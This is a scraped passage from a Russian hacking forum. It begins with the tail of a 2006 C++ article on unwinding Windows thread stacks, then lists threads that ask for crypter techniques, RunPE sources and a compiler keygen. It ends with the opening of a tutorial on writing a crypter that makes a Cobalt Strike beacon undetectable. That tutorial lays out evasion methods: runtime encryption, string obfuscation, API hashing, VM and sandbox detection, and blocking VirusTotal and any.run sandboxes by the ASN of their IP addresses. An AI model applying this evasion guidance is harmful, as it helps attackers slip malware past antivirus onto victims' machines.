	if (!SymInitialize(hProcess, NULL, TRUE))
  return 0;

	// Ищем функцию
	BYTE      buffer[256];
	PIMAGEHLP_SYMBOL pSymbol = (PIMAGEHLP_SYMBOL)buffer;

	pSymbol->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL);
	pSymbol->MaxNameLength = sizeof(buffer) - sizeof(IMAGEHLP_SYMBOL) + 1;

	if (!SymGetSymFromAddr(hProcess, dwAddress, lpdwOffset, pSymbol))
  return 0;

	strncpy(lpszProcName, pSymbol->Name, nSize);
	*lpdwBase = pSymbol->Address;
	return 1;
}

Далее напишем функцию, которая нам по заданному адресу возвратит строку вида "модуль!функция+смещение", где "модуль" - имя модуля, "функция" - найденная функция, "смещение" - смещение заданного адреса относительно ее базового адреса. Если адрес не найдем, возвратим "модуль!адрес", если не найдем модуль

Code:Copy to clipboard

/* GetModuleAndFunctionNameByAddress()
 *
 * Описание
 *  Функция возвращает строку вида "имя_модуля!имя_функции + смещение" по переданному адресу. К примеру, если передать
 *  ExitProcess+0x1a, функция вернет строку "kernel32!ExitProcess + 0x001a". Если функция не может найти адрес,
 *  строка будет вида "имя_модуля!адрес", а если не может найти модуль - имя модуля будет "unknown"
 *
 * Параметры
 *	hProcess	хендл процесса
 *	dwAddress	адрес
 *	lpszString	строка
 *	nSize  длина строки
 *
 * Возвращаемое значение
 *  TRUE, если поиск удался, в противном случае - FALSE
 */
BOOL GetModuleAndFunctionNameByAddress(HANDLE hProcess, DWORD dwAddress, LPTSTR lpszString, DWORD nSize)
{
	DWORD base,offset;
	char name[1024], ret[10240];

	if(!GetProcBaseAddressAndName(hProcess, dwAddress, &base, &offset, name, sizeof(name)))
	{
  if(GetLastError()==ERROR_MOD_NOT_FOUND || GetLastError()==ERROR_INVALID_ADDRESS)
  {
  	if(!dwAddress)
  	{
    wsprintf(ret, "unknown!0x%08x", dwAddress);
    strncpy(lpszString, ret, nSize);
    return 1;
  	}

  	DWORD module = SymGetModuleBase(hProcess, dwAddress);
  	if(!module)
  	{
    wsprintf(ret, "unknown!0x%08x", dwAddress);
    strncpy(lpszString, ret, nSize);
    return 1;
  	}
  	
  	IMAGEHLP_MODULE modinfo = {sizeof(modinfo)};
  	if(!SymGetModuleInfo(hProcess, module, &modinfo))
  	{
    wsprintf(ret, "unknown!0x%08x", dwAddress);
    strncpy(lpszString, ret, nSize);
    return 1;
  	}

  	wsprintf(ret, "%s!0x%08x", modinfo.ModuleName, dwAddress);
  	strncpy(lpszString, ret, nSize);
  	return 1;
  }
  return 0;
	}

	DWORD module = SymGetModuleBase(hProcess, dwAddress);
	IMAGEHLP_MODULE modinfo = {sizeof(modinfo)};
	SymGetModuleInfo(hProcess, module, &modinfo);
	
	wsprintf(ret, "%s!%s + 0x%04x", modinfo.ModuleName, name, offset);

	strncpy(lpszString, ret, nSize);
	return 1;
}

Теперь все готово, для того, чтобы проанализировать стек потока и посмотреть, какие функции были вызваны и каким путем выполнение программы пришло в текущую точку. Например, мы хотим проанализировать последние 20 адресов в стеке. Мы прочитаем 20 чисел по адресу EBP текущего потока и проанализируем их.

Code:Copy to clipboard

/* StackUnwind()
 *
 * Описание
 *  Раскрутка локального стека по адресу из EBP. Отображает окно с информацией
 *
 * Параметры
 *	nSize  глубина раскрутки. Столько адресов, начиная с вершины стека, будет проанализировано
 *	bSkipUnknownModules	флаг - пропускать "бесхозные" адреса (имена модулей которых получить не удалось)
 *
 * Возвращаемое значение
 *  нет
 */
void StackUnwind(DWORD nSize=10, BOOL bSkipUnknownModules = TRUE)
{
	DWORD *__ebp;
	_asm mov __ebp, ebp; // сохраним значение EBP

	char buffer[10240] = ""; // сюда запишем всю информацию для вывода через MessageBox

	wsprintf(buffer+lstrlen(buffer),"Unwinding stack by EBP=0x%08x\n", __ebp);

	char buf[1024];
	for(DWORD i=0;i<nSize;i++)
	{
   // получаем имя функции в виде "модуль!функция+смещение"
  GetModuleAndFunctionNameByAddress(GetCurrentProcess(), (DWORD)__ebp[i], buf, 1024);
  // имя модуля определить не удалось => это не адрес возврата, а, скорее всего аргумент функции.
  if(!strncmp(buf, "unknown", 7) && bSkipUnknownModules)
  	continue;
  wsprintf(buffer+lstrlen(buffer), "0x%08x %s\n", __ebp[i], buf);
  if(!strcmp(buf, "kernel32!RegisterWaitForInputIdle + 0x0049"))
  {
  	wsprintf(buffer+lstrlen(buffer), "Found kernel32!BaseProcessStart (shown as 'kernel32!RegisterWaitForInputIdle + 0x0049'), stopping\n");
  	break;
  }
	}

	MessageBox(0, buffer, "Stack unwind information", MB_ICONINFORMATION);
}

В цикле видно странный if, в котором проверяется совпадение имени функции с kernel32!RegisterWaitForInputIdle + 0x0049. Зачем это нужно, мы узнаем чуть позже.

Теперь мы можем вызвать эту функцию прямо из WinMain и узнать, что творится в стеке главного потока нашей программы. Но мы для наглядности напишем пару- тройку вызывающих друг друга процедур, чтобы проследить местоположение адресов возврата в стеке.

Code:Copy to clipboard

void f3()
{
	StackUnwind(50);
}

void f2()
{
	f3();
}

void f1()
{
	f2();
}

Мы решили проанализировать 50 адресов в стеке. Из WinMain мы вызываем функцию f1, она вызывает f2, f2, в свою очередь, вызывает f3, которая вызывает StackUnwind. Что ж, поставим точку входа в нашу программу на WinMain, чтобы нам не мешали всякие WinMainCRTStartup, и запустим ее.
Результат анализа стека показан ниже:

Unwinding stack by EBP=0x0013ff70
0x00401112 stackunwind!f3 + 0x000c
0x0040111f stackunwind!f2 + 0x0008
0x00401129 stackunwind!f1 + 0x0008
0x00401137 stackunwind!WinMain + 0x000c
0x7c90e64e ntdll!NtSetInformationThread + 0x000c
0x7c816fd4 kernel32!RegisterWaitForInputIdle + 0x0046
0x7c816fd7 kernel32!RegisterWaitForInputIdle + 0x0049
Found kernel32!BaseProcessStart (shown as 'kernel32!RegisterWaitForInputIdle + 0x0049'), stopping

Click to expand...

По первым 3-4 строчкам видно, что WinMain вызвала f1, и по цепочке управление дошло до функции f3.
Но что за странные строчки после WinMain и до конца?
А все дело в том, что выполнение любого потока (кроме главного потока программы) начинается с функции BaseThreadStart, а главного потока программы - с BaseProcessStart. Она устанавливает некоторые параметры потоку, в том числе и истинную точку входа и передает управление на неё - в данном случае, на WinMain. Почему же не распозналась функция BaseProcessStart, а вместо нее идет RegisterWaitForInputIdle, которая, казалось бы, совсем не к месту? А все дело в причудливом расположении этих функций в kernel32.dll.
Сначала идет BaseProcessStart, в которой есть переход на 64С0 байт вперед, за ее пределы, потом идет RegisterWaitForInputIdle, а потом идет продолжение BaseProcessStart, куда она перепрыгивала с 64С0 байт назад.
Выглядит все это примерно так (листинг IDA Pro):

Code:Copy to clipboard

.text:7C810867 BaseProcessStart proc near           ; DATA XREF: sub_7C81059D+47D4o
.text:7C810867                 xor     ebp, ebp
.text:7C810869                 push    eax
.text:7C81086A                 push    0
.text:7C81086C                 jmp     __BaseProcessStartContinue
.text:7C81086C BaseProcessStart endp

... тут идет множество других функций, в том числе и RegisterWaitForInputIdle, которая идет последней ...

.text:7C816D06; int __fastcall RegisterWaitForInputIdle(int,int,int)
.text:7C816D06                 public RegisterWaitForInputIdle

а сюда управление попадает из BaseProcessStart. С легкой руки эту метку я обозвал __BaseProcessStartContinue

.text:7C816D2C; START OF FUNCTION CHUNK FOR BaseProcessStart
.text:7C816D2C
.text:7C816D2C __BaseProcessStartContinue:          ; CODE XREF: BaseProcessStart+5j
.text:7C816D2C                 push    0Ch
.text:7C816D2E                 push    offset dword_7C816D58
.text:7C816D33                 call    sub_7C8024CB
.text:7C816D38                 and     dword ptr [ebp-4], 0
.text:7C816D3C                 push    4
.text:7C816D3E                 lea     eax, [ebp+8]
.text:7C816D41                 push    eax
.text:7C816D42                 push    9
.text:7C816D44                 push    0FFFFFFFEh
.text:7C816D46                 call    ds:NtSetInformationThread
.text:7C816D4C                 call    dword ptr [ebp+8]
.text:7C816D4F                 push    eax          ; dwExitCode
.text:7C816D50
.text:7C816D50 loc_7C816D50:                        ; CODE XREF: .text:7C843635j
.text:7C816D50                 call    ExitThread

Сначала управление попало в BaseProcessStart, процессор перепрыгнул на __BaseProcessStartContinue и произошел вызов NtSetInformationThread.
Смещение 0x0046 относительно RegisterWaitForInputIdle - это адрес инструкции

Code:Copy to clipboard

.text:7C816D4C                 call    dword ptr [ebp+8]

а смещение 0x0049 - адрес

Code:Copy to clipboard

.text:7C816D4F                 push    eax          ; dwExitCode

И все тайное становится явным :)
Адрес возврата в ntdll!NtSetInformationThread появляется просто по причине того, что в ntdll содержатся функции-переходники для Native API.
Как раз NtSetInformationThread является одним из таких переходников. Смещение 0x000c относительно NtSetInformationThread - это адрес инструкции после call, затолкнутый процессором в стек при выполнении инструкции call.

Code:Copy to clipboard

.text:7C90E642                 public ZwSetInformationThread
.text:7C90E642 ZwSetInformationThread proc near     ; CODE XREF: RtlImpersonateSelf+71p
.text:7C90E642                                      ; sub_7C92764E+79DCp ...
.text:7C90E642                 mov     eax, 0E5h    ; NtSetInformationThread
.text:7C90E647                 mov     edx, 7FFE0300h
.text:7C90E64C                 call    dword ptr [edx]
.text:7C90E64E                 retn    10h
.text:7C90E64E ZwSetInformationThread endp

Кроме того, что мы рассмотрели, как анализировать стек текущего процесса, мы еще и узнали, как происходит старт нового процесса.
Попробуем теперь распотрошить стек любого другого процесса.
Что же нам потребуется - найдем первый попавшийся поток этого процесса, приостановим, снимем его контекст, снимем дамп его стека и возобновим поток.
Потом будем производить анализ стека точно так же, как и для текущего процесса.

Поскольку я использую Microsoft Visual C++ 6.0 и ленюсь обновить свой давно устаревший SDK :), а функция OpenThread отсутствовала в ранних версиях Windows, мне пришлось написать оболочку для динамического вызова OpenThread:

Code:Copy to clipboard

HANDLE WINAPI OpenThread(
  DWORD dwDesiredAccess,  // access right
  BOOL bInheritHandle,    // handle inheritance option
  DWORD dwThreadId        // thread identifier
)
{
	typedef HANDLE (WINAPI *func)(DWORD,BOOL,DWORD);
	func f = (func)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenThread");
	if(!f)
  ExitProcess(MessageBox(0, "Cannot find 'OpenThread' entry point in the 'kernel32.dll'", 0, MB_ICONERROR));
	return f(dwDesiredAccess, bInheritHandle, dwThreadId);
}

Теперь напишем функцию для анализа стека процесса. Ее заголовок будет таким:
BOOL StackRemoteUnwind(DWORD dwProcessId, DWORD dwThreadId, DWORD nSize=10, BOOL bSkipUnknownModules = TRUE)
dwProcessId - ID процесса
dwThreadId - ID потока
nSize - сколько адресов анализировать
bSkipUnknownModules - пропускать ли адреса, чьи модули не известны.

Для начала открываем дескрипторы процесса и потока:

Code:Copy to clipboard

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwProcessId);
	if(!hProcess)
  return MessageBox(0,"Cannot open process", "Stack unwind", MB_ICONSTOP)?0:0;

	HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, dwThreadId);
	if(!hThread)
  return MessageBox(0,"Cannot open thread", "Stack unwind", MB_ICONSTOP)?0:0;

Затем аккуратно останавливаем поток, снимаем всю инфу, которая нужна (контекст, дамп стека) и возобновляем выполнение потока

Code:Copy to clipboard

	CONTEXT ctx = {CONTEXT_FULL};
	SuspendThread(hThread); // приостанавливаем
	if(!GetThreadContext(hThread, &ctx) || !ctx.Eip) // получаем контекст
	{
  ResumeThread(hThread);
  return MessageBox(0, "Cannot get thread context", "Stack unwind", MB_ICONSTOP)?0:0;
	}
	DWORD stackptr = ctx.Esp; // снимаем стек по адресу в ESP того потока
	char stack[10240];
	DWORD* lpdwStack = (DWORD*)stack; // делаем указатель на массив DWORD'ов для удобного анализа адресов
	DWORD read=0;
	if(!ReadProcessMemory(hProcess, (LPVOID)stackptr, stack, nSize*4, &read)) // снимаем дапм стека
	{
  ResumeThread(hThread);
  return MessageBox(0, "Cannot read process memory", "Stack unwind", MB_ICONSTOP)?0:0;
	}
	ResumeThread(hThread); // не забываем возобновить поток :)

Далее производим точно такие же действия, что и для текущего процесса:

Code:Copy to clipboard

	char buffer[10240] = "";
	wsprintf(buffer+lstrlen(buffer),"Unwinding stack at address 0x%08x\n", stackptr);

	char buf[1024];
	for(DWORD i=0;i<nSize;i++)
	{
  GetModuleAndFunctionNameByAddress(hProcess, lpdwStack[i], buf, 1024);
  if(!strncmp(buf, "unknown", 7) && bSkipUnknownModules)
  	continue;
  wsprintf(buffer+lstrlen(buffer), "0x%08x %s\n", lpdwStack[i], buf);
	}

	MessageBox(0, buffer, "Stack unwind information", MB_ICONINFORMATION);

  // не забываем закрыть дескрипторы потока и процесса
	CloseHandle(hThread);
	CloseHandle(hProcess);
	return 1;

Для нахождения процесса по имени его образа не помешала бы функция, выполняющая эту операцию:

Code:Copy to clipboard

/* GetPIDbyName()
 *
 * Описание
 *  Получает идентификатор процесса по его имени
 *
 * Параметры
 *	szProcessName  имя процесса
 *
 * Возвращаемое значение
 *  PID процесса
 */
DWORD GetPIDbyName(LPTSTR szProcessName)
{
	HANDLE hSnapshot;
	PROCESSENTRY32 pe = {sizeof(pe)};

	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
  return 0; 

	if (!Process32First(hSnapshot, &pe))
  return 0;

	do
  if(!lstrcmpi(pe.szExeFile,szProcessName)) 
  	return pe.th32ProcessID;
	while (Process32Next(hSnapshot, &pe)); 
	return 0;
}

Теперь все готово для анализа стека потока другого процесса.

Code:Copy to clipboard

	// Создаем снимок всех потоков системы
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if(hSnapShot == INVALID_HANDLE_VALUE)
  return MessageBox(0, "CreateToolhelp32Snapshot() failed", "Thread snapshot", MB_ICONERROR)?0:0;

	THREADENTRY32 te = {sizeof(te)};
	if(!Thread32First(hSnapShot, &te))
  return AlternateMessageBox("No threads", "Thread snapshot")?0:0;

	DWORD pid=GetPIDbyName("explorer.exe");
	// Крутим список всех потоков
	do
	{
  // Раскручиваем стек первому попавшемуся потоку нашего процесса
  if(te.th32OwnerProcessID == pid)
  {
  	StackRemoteUnwind(te.th32OwnerProcessID, te.th32ThreadID, 200, TRUE);
  	break;
  }
	}
	while(Thread32Next(hSnapShot, &te));

Приведенный код находит первый поток процесса explorer.exe и анализирует его стек.
Вообще то, на этом стоит и закончить и без того затянувшееся повествование об устройстве потоков :)
Замечу только, что в сорце к статье вместо MessageBox для вывода информации используется самописная функция AlternateMessageBox, которая выводит диалоговое окно с текстовым полем для удобства копирования текста из него. Выход производится по нажатию любой клавиши. Код этой функции, если сильно повезет, ты найдешь в сорсе к статье, и я думаю, что знакомые с программированием окон на Win32 API, без труда его разберут.
На сим откланяюсь, удачного компилирования :)

(С) Great, 2006.

Source: stackunwind.cpp

Методы криптовки и полиморфизма...
ID: 6765d804b4103b69df375b81
Thread ID: 11547
Created: 2006-09-09T06:08:15+0000
Last Post: 2006-11-03T21:57:45+0000
Author: dampil
Replies: 13 Views: 4K

Интересны перспективные методы криптовки и полиморфизма в самом коде, а не в сторонних криптовщиках. Кто что может сказать ? А то я в этом вообще ничего не понял. Может кто подкинет статуйку подходящую.

компилятор
ID: 6765d804b4103b69df375b85
Thread ID: 12229
Created: 2006-10-01T13:40:43+0000
Last Post: 2006-10-27T13:03:36+0000
Author: \xE9\x85\
Replies: 19 Views: 4K

Может кто нить видел, где скачать компилятор, и кейген к нему? интересует именно 6 версия. ибо 4 видел на мелкософте.

Двойное условие
ID: 6765d804b4103b69df375b93
Thread ID: 10143
Created: 2006-05-28T19:08:04+0000
Last Post: 2006-08-01T13:22:45+0000
Author: Robin Hood
Replies: 10 Views: 4K

#include <stdio.h>
int x;

int main( void )
{
printf("n\Enter your age: ");
scanf("%d" ,&x);
if (x > 21 && x < 65)
printf("\nblabla1");
if (x < 21)
printf("\nblabla2");
return 0;

вот решил прогу наделать небольшую, поидеи если выполняется первое условие она должна выводить на екран blabla1, если воторое то blabla2, а она вместо етого просто вылетает. мож кто что подскажет?

Embedded Visual C++
ID: 6765d804b4103b69df375ba5
Thread ID: 5387
Created: 2005-10-30T12:11:06+0000
Last Post: 2005-12-23T20:33:36+0000
Author: red_byte
Replies: 6 Views: 4K

Подскажите сайт с иходниками для IDE из сабжа.

Посоветуйте учебник
ID: 6765d804b4103b69df375bab
Thread ID: 5574
Created: 2005-11-14T18:50:40+0000
Last Post: 2005-11-15T22:21:11+0000
Author: xKiller
Replies: 7 Views: 4K

Пацаны, может я щас выгляжу полным ламером, но хотел бы у вас спросить совета, какой учебник можно взять для изучения С+ Щас стока всякого гавна в сети, я новичек в этом деле, и думаю сам нормальный материал не найду. Вот решил спросить совета у опытного народа. Мож кто линк даст на достойный учебник? :(

Что посоветуете с чего можно начать.
ID: 6765d804b4103b69df375bad
Thread ID: 5496
Created: 2005-11-10T13:57:16+0000
Last Post: 2005-11-12T16:28:40+0000
Author: Nightwalker
Replies: 5 Views: 4K

Народ какую кнгу лутше начать читать чтобы освоить С++?Если я в программировании кроме хтмл полный ноль.

Учебники по С
ID: 6765d804b4103b69df375baf
Thread ID: 4110
Created: 2005-06-15T15:44:13+0000
Last Post: 2005-08-09T09:51:13+0000
Author: s3po
Replies: 4 Views: 4K

Люди у кого есть литература по С (выложите).

Использование Tquery В C++builder
ID: 6765d804b4103b69df375bb0
Thread ID: 3830
Created: 2005-05-11T21:58:58+0000
Last Post: 2005-05-15T05:35:21+0000
Author: POVTASer
Replies: 2 Views: 4K

Мне нужно создать базу данных с использованием SQL апросов. Я создал форму в C++Builder, кинул на нее TDBGrid, TTable, Tquery, TDataSource1. Создал в Access таблицу. Все вместе связал. Теперь при нажатии кнопки надо производить отбор по какому нибудь параметру из таблицы. Параметр задаем например в TEdit1.Если кто знает подскажите как все это реализовать.

Переадресация даных на другой порт
ID: 6765d804b4103b69df375b9a
Thread ID: 10116
Created: 2006-01-16T15:00:36+0000
Last Post: 2006-01-17T13:50:23+0000
Author: AKella
Replies: 12 Views: 3K

Люди нужна программа на С++, которая будет висеть в трее и перееадрисовывать все с одного порта на другой. Помогите реализовать. Подскажите, где можно найти мануалы :D

помогите найти книгу по C++
ID: 6765d804b4103b69df375b9b
Thread ID: 6050
Created: 2005-12-22T10:34:19+0000
Last Post: 2006-01-13T18:58:24+0000
Author: Nightwalker
Replies: 6 Views: 3K

Народ помогите найти книгу по C++ в которая написанна для тех кто незнает язика вообше,и в которой написанно что такое класси,что такое библиотеки,как их создавать и зачем.

Сохранить логин и пасс в txt
ID: 6765d804b4103b69df375b9f
Thread ID: 10111
Created: 2006-01-06T12:25:03+0000
Last Post: 2006-01-06T21:07:55+0000
Author: Dron
Replies: 5 Views: 3K

Короче, что нужно написать чтобы введёный логин и пароль сохранились в txt. файл? :blink:

Посоветуйте курс по С
ID: 6765d804b4103b69df37568f
Thread ID: 122602
Created: 2024-09-12T22:21:31+0000
Last Post: 2024-12-10T14:47:04+0000
Author: Blu-ray
Replies: 32 Views: 3K

Привет форумчане!
Вижу что по Сишке есть просто куча классных книг, но я понял что мне больше подходит формат курса
Существуют ли в природе нормальные бесплатные вводные курсы по Сишке типа как "Поколение Python" на степике? Или может есть слив какого-то хорошего
Всем спасибо

Как работают криптеры ?
ID: 6765d804b4103b69df3756d9
Thread ID: 118859
Created: 2024-07-14T11:47:14+0000
Last Post: 2024-08-12T07:18:05+0000
Author: D12
Replies: 15 Views: 3K

Привествую форум, решил попрактиковаться и написать криптер, да только вот нашел мало инфы публично про то как они работают, почитал пару статеек но только скорее всего там про современные подходы никогда не напишут.
Поэтому спрашиваю тут, если есть возможность посоветуете где прочитать, поизучать, или где лучше код почитать (учу C, в гитхабе искал но там не понятно что лучше), да и в целом какие навыки нужны (к примеру реверсинг ASM и тд) перед началом.
Буду рад если расскажите подробно сразу тут, заранее спасибо.

Сорцы LoadPE и RunPE
ID: 6765d804b4103b69df3756e3
Thread ID: 115367
Created: 2024-05-26T09:52:52+0000
Last Post: 2024-07-26T04:10:38+0000
Author: kerberos
Replies: 7 Views: 3K

Сабж, если у кого то есть принял бы в дар. Чисто в научных целях...

Какой язык посоветуете изучать для создания телеграмм ботов?
ID: 6765d804b4103b69df3756e4
Thread ID: 117108
Created: 2024-06-18T16:10:20+0000
Last Post: 2024-07-24T15:50:24+0000
Author: frispyy
Replies: 30 Views: 3K

Какой язык посоветуйте изучать? Хочу начать программировать, для начала хочу научиться создавать телеграмм ботов, но я даже не знаю подходящий язык для этого. Что можете посоветовать?

Какие курсы посоветуете по C++?
ID: 6765d804b4103b69df37574a
Thread ID: 99057
Created: 2023-09-29T10:15:38+0000
Last Post: 2024-01-21T10:54:32+0000
Author: gamedev
Replies: 37 Views: 3K

Нет фундамета, не знаком с программированием от слова совсем. Знаю что оч поздно начал, но лучше уж так)
Заранее спасибо!

(И вообще, стоит ли начинать именно с C++?)

PART 2 Create Your own crypter andEncrypt Your Cobalt strike beacon and make it fud Bypass Kaspersky, Windows defender, Avira , And most Used AV
ID: 6765d804b4103b69df375756
Thread ID: 98026
Created: 2023-09-14T05:33:14+0000
Last Post: 2024-01-02T17:01:14+0000
Author: TOP G
Prefix: Статья
Replies: 23 Views: 3K

Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad's most popular AV, EDR products!

The Killer Guide by****TOP G.
Source: https://xss.is

This is part 2 You can check part one here: https://xss.is/threads/97133/#post-673933

Hi, this is TOP G from the xss forum and today will continue our Tutorial.

In the part 1 we created the GUI and Client - Server authentication, and in this part will start coding the Stub.

Before we start please make sure you already have Cobalt strike ready in this tutorial iam using Cobalt strike v4.8 You can use any version or you can use Metasploit.

After this tutorial , I guarantee you will bypass Kaspersky, Windows Defender, Avira, Avast, Bitdefender, AVG, and more.

I will teach you step by step! how to crypt your stub and get it **FUD Runtime And Scantime

I WILL LEAVE POC’S VIDEOS FOR YOU TO SEE THE BYPASS, I CREATED A VIDEO BYPASSING ON TOP ASKED TO BYPASS AV LIKE WINDOWS DEFENDER AND Kaspersky.

What Skills do you need to continue reading and learning from this tutorial?

**

1 - Just c/c++ Language (Visual Studio c++)
2 - Gui (Qt C++) If you don’t have any idea or skills to use Qt don’t worry I explained everything in the tutorial
3 - php but if you are familiar with Python or NodeJs you could also use them if you want

**# Techniques we will use To bypass AVs and which Encryption algorithm?

Here are the futures we will use in our Crypt

1 ) - Runtime Crypting
2 ) - Runtime string obfuscation
3 ) - Anti Virus Total and Anti app.any.run
4 ) - Bypass Avast and AVG Sandbox ( this is a very important and private method )
5 ) - Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
6 ) - Creating Custom GetModuleHandle and GetProcAddress
7 ) - API Hashing
8 ) - RC4 Encryption Algorithm

Before Coding I will explain everything to you so you write the code after

you understand the code and the techniques**

Before we write anything about crypting and writing a crypter a few Information you need to know before.

You can’t Bypass AV or EDR if you don’t know how they work, and how they can detect
Your malware, Because of that I will tell you about detection Mechanisms
But first, you should know all Modern AV and EDR they can catch poorly written unknown malware and will talk more about this and how to bypass it in the correct section.
I saw a lot of questions on this forum for beginner developers asking how the Antivirus detects the program as a virus even if the code does not have any virus in it.

To answer this question and to bypass or fix this problem stay with me:

# AV, EDR Engines detection Mechanisms ( This section is very important to every malware developer ).

AV uses different ways and techniques to Detect Malicious software, I will list them and describe them.

1 ) Static Detection

This method can detect malware in different ways First method uses a Bytes Signature.
The second method is the names of the variables and Functions.

To understand what I mean in real life Generate a Cobalt strike beacon and open it using Hxd ( Hex Editor ) You can easily see the bytes 62 65 61 6F 6E 2E 78 36 34 2E 64 6C 6C and if you can see in the right section there is a string beacon.x64.dll

0.png

As you can see these bytes define your program as a Cobalt strike beacon and Antivirus can use this information to detect your program

2 ) Hashing Detection

This method is old but still working these days and it's very useful and very fast to detect Such as Known malwares or public malware.
This can be done by Antivirus by creating a hash for every malware and saving it in a Large database Then when a new exe is installed or dropped to the desk the AV creates a hash for it and compares it with hashes that are already saved in the database and if the hash found in the database they delete the malware instantly also this work with memory for example when you decrypt the malware and use WriteProcessMemory the Antivirus can catch it here with different ways I will tell you more about this in detection mechanisms number 5

I will give you an example :
Get any program you want or even a cobaltstirke beacon then fire up your Powershell
Use the function Get-FileHash to get the hash for the file as shown in the image below

1.png
This is the hash for my beacon 1F22CDD66B8D96070C299B0D661D0D8812223438EA9A92EBB8D5E52CE64060C0

So if I turn my AV on, the antivirus will instantly delete the file because the hash is already in the database of the AV vendor Why because Cobalt strike is a Known malware as you already know

3 ) Behavior-Based Detection

Behavior shield is the monster that eats any badly written unknown malware .

I will give you an example to understand what I mean .
Imagine you are developing your own malware Your malware works as follows when you click on the malware instantly downloads the encrypted beacon from the server and then decrypts it in memory After that it copies itself to a temporary directory %temp% and manipulates the registry to add itself to run with windows startup

The example above is for badly written malware and will be detected as soon as you click the program

The mistakes made in the example above :
1 - Invoking http requests after the program fired up without sleeping
2 - decrypting payload and copying it using WINAPI Function WriteProcessMemory or memcpy after decrypting so AV Vendor can install hooks on userland mode and when you use WriteProcessMemory he can use Hashing method or static detection method and compare it with his database and kill it in memory even not touched the desk
3 - copy self to temp directory this step is very used by malwares and it's very detected
4 - Manipulating the registry directly is not a good thing

So all of these steps described above will flag your program as malware even if it's not malware, But if decreasing by removing steps 3 and 4 it may work for some AV vendors because of Rate of red flags is decreased

I can’t forget to mention importing all these WINAPI in the same exe is also a big RED FLAG Just imagine a program that has WriteProcessMemory, RegCreateKeyEx, CopyFileA, URLDownloadToFile

And on that, the exe is not signed These mistakes are enough to make your Unknown malware to be detected before publishing it to the public

4 ) Dynamic Analysis

The dynamic analysis is very similar to the behavior shield method but in Dynamic analysis, the AV Vendor but the malware in a sandbox and runs it as a normal human clicks it then watches the actions of the malware and what behavior he will take

An example :
If exe runs and allocates memory this ok if this action can be alone but added to more actions like decrypting a shellcode and editing the registry then copying bytes in memory
This will also flag the exe as malware

So here it depends on what behavior your malware does to detect your Unkown malware

You can see that in real life create a program add suspicious functions and actions to your program compile it then go to https://app.any.run/ and upload your malware and watch the sandbox analysis and Mark your Unknown malware as Virus

5 ) WINPAI Or NTAPI Hooking

Some AV vendors and EDRs they using a very common technique called Hooking,
Simply hook is like a man in the middle attack someone is watching everything in your network same thing in winapi Hooking

The AV vendor installs hooks on some functions that are usually used by malware developer
The hook is a jump from the Real function like Writeprocessmemory to the AV function to scan the arguments and check if the copied data are malware or not

I will show you how to bypass this with different techniques 1 of the most popular techniques is to unhook the Hooked functions but in this tutorial, I will use different techniques when we are in the Futures section

6 ) Import address table

If you don’t know what is import address table is, simply a table that contains every single function you import in your project

If a project uses functions, for example, ReadProcessMemory Or any other function this function will be registered in the IAT or import address table

If a program contains too many flagged WINAPI OR NTAPI Functions then 100% its a malware The AV will instantly kill the process and delete the program from the desk.

To see the Import address table in real life and which functions are imported we can use dumpbin.exe If you have already installed Visual Studio

First, fire up the Developer command prompt and then go to the working directory where you have the program you want to test on the type dumpbin.exe /IMPORT exe_name.exe
This will display all import address tables and the dlls that function are imported from like you see in the picture below

2.png

As you can see the function VirtualAlloc , GetProcAddress , and GetModuleHandleW
Are imported from kernel32.dll

This is enough to flag our exe as malware

We can avoid this by Dynamicly importing the functions we need to use in our project This step help but still, GetModuleHandle and GetProcAddress functions will be stored in the Import address table and this is also a red flag to avoid this we can create a custom GetModuleHandle and GetProcAddress functions And I will tell you more information when we get to this step

# Explaining the futures

The explanation before we wrote the code

1 # Runtime Crypting

Do you know what runtime encrypting is?

If you code in c# I guess you already know about runtime Compile that offers us the .NET because it's managed languages! This trick was used by c# and vb.net malware developers to compile their encrypted stubs at runtime, but as you know Native languages such as c++ or C can’t do that because the compiler translates our code into machine code and we can’t embed or edit the code after it gets compiled Like.net languages because of that and to do not leaked the source code of our crypter if we include it in our GUI we use the Server Side to store the Source code and the GUI will be Like a proxy that handle files and encryption between server and pc of user and on Server side we use php or any other scripting languages to do obfuscation and encryption

So, Runtime crypting is a method that allows us to store the encrypted payload and merge it with the stub that will Decrypt the payload and invoke it This method is very useful in bypassing AVs and EDRs because the runtime encrypting also allows us to obfuscate strings at runtime and change passwords for the encrypted payloads so we don’t use Static phrase or password for all stubs also we change compiling settings on the fly.

What makes Runtime encrypting superior to embedding encrypted malware in resources or the PE section, or even storing the encrypted payload on the server?

Embedding the encrypted payload to Resources or storing it in a pe section is a very common method that was an old solution for Crypters Sellers in past years
It is also very easy for malware analysis or blue team to detect your payload

Do all the crypters available in the market use this method?
No, not all of them. Only handmade crypters use this method because each stub is written for one customer. Additionally, this depends on the quality of the seller. However, there's no need to worry because, after this tutorial, you won't need to buy any crypters anymore. You can code your own instead.

2 # Runtime string obfuscation

Runtime obfuscation is a technique that allows us to obfuscate our malware Variables and function names On the Fly before Compiling the stub and this technique is very very important because this can change the complete signature of the stub

Why use this technique?

You had to know that only encrypting the shellcode itself and using the pre- compiled stub to embed the shellcode to it is not enough because if the malware gets detected by some Security researchers or by Antivirus vendors they will start doing reverse engineering on your malware to extract a signature of your variables and functions names this gives him ability if you encrypt a new shellcode even with different Pharse or password and change the signature to the encrypted shellcode! They can catch you but this time will catch your Crypt itself so Now we call this crypt Public and Known malware.

One more thing is that some security vendors share hashes and signatures with other companies to combine their technologies.

Sometimes you run your malware for example on Windows Defender and he Did not catch it! but after you run it on a different pc for example AVG antivirus and detect wait for a few minutes and run it again on Windows Defender you will see that Windows Defender starts detecting it as malware

3 # Anti Virus Total and Anti app.any.run

In this technique will use my Private method to detect and bypass the VirusTotal sandbox and app.any.run.
How does this technique work? First Virus Total uses different companies' VPS to run their sandboxes to check malware We can add a Winsock code inside our stub that only makes a post request to our Server then from a php code we can get the IP address and the ASN of the IP address and check it in our database if the ASN that belong to companies like Google, Amazon then we block the request by replying to the stub with 1 mean error then the stub will return -1;
